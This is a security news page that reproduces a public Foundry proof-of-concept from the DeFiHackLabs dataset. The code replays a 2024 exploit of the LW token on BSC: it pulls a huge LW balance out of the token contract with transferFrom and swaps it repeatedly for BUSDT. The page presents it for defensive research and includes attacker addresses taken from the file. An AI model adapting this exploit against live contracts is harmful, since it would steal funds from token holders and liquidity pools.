Skip to content
THREATWIRE

Public reproduction file

src/test/2024-07/LW_exp.sol

Public reproduction file for dataset entry LW.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2024-07/LW_exp.sol63 lines
1pragma solidity ^0.8.10;
2
3import "forge-std/Test.sol";
4import "./../interface.sol";
5
6// @KeyInfo -- Total Lost : ~7K USD
7// TX : https://app.blocksec.com/explorer/tx/bsc/0x96a955304fed48a8fbfb1396ec7658e7dc42b7c140298b80ce4206df34f40e8d
8// Attacker : https://bscscan.com/address/0x56b2d55457b31fb4b78ebddd6718ea2667804a06
9// Attack Contract : https://bscscan.com/address/0xfe7e9c76affdba7b7442adaca9c7c059ec3092fc
10// Created Attack Contract: https://bscscan.com/address/0x0496824589CD3758119F74560E4Fa970e6dff104
13contract Exploit is Test {
14 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
15 IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
16 IERC20 Lw = IERC20(0xABC6e5a63689b8542dbDC4b4f39a7e00d4AC30c8);
17 IERC20 BUSDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
18 address Hackcontract;
20 function setUp() external {
21 cheats.createSelectFork("bsc", 40_287_544);
22 deal(address(BUSDT), address(this), 0);
23 }
25 function testExploit() external {
26 emit log_named_decimal_uint("[Begin] Attacker BUSDT before exploit", BUSDT.balanceOf(address(this)), 18);
27 Money Hackcontract = new Money();
28 emit log_named_decimal_uint("[End] Attacker BUSDT after exploit", BUSDT.balanceOf(address(this)), 18);
29 }
32contract Money is Test {
33 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
34 IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
35 IPancakePair Pair = IPancakePair(0x88fF4f62A75733C0f5afe58672121568a680DE84);
36 IERC20 Lw = IERC20(0xABC6e5a63689b8542dbDC4b4f39a7e00d4AC30c8);
37 IERC20 BUSDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
38 IPancakeRouter router = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));
39 address owner;
41 constructor() {
42 owner = msg.sender;
43 Attack();
44 }
46 function Attack() public {
47 Lw.transferFrom(address(Lw), address(this), 1_000_000_000_000_000_000_000_000_000_000_000);
48 uint256 i = 0;
49 while (i < 9999) {
50 swap_token_to_token(address(Lw), address(BUSDT), 800_000_000 ether);
51 i++;
52 }
53 BUSDT.transfer(msg.sender, BUSDT.balanceOf(address(this)));
54 }
56 function swap_token_to_token(address a, address b, uint256 amount) internal {
57 IERC20(a).approve(address(router), type(uint256).max);
58 address[] memory path = new address[](2);
59 path[0] = address(a);
60 path[1] = address(b);
61 router.swapExactTokensForTokensSupportingFeeOnTransferTokens(amount, 0, path, address(this), block.timestamp);
62 }

Analysis

Dataset entry

Public Foundry test for “LW” (2024-07-08). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

11 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x56b2d55457b31fb4b78ebddd6718ea2667804a06

  • Attack Contract

    0xfe7e9c76affdba7b7442adaca9c7c059ec3092fc

File record

Name
LW
Path
src/test/2024-07/LW_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
bd101a6f2a7d445888d08360691de73223a71b72
Language
Solidity
Size
64 lines
Date
2024-07-08
Licence
ThreatWire editorial text
Retrieved
2026-10-19

Provenance

Path src/test/2024-07/LW_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob bd101a6f2a7d445888d08360691de73223a71b72, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.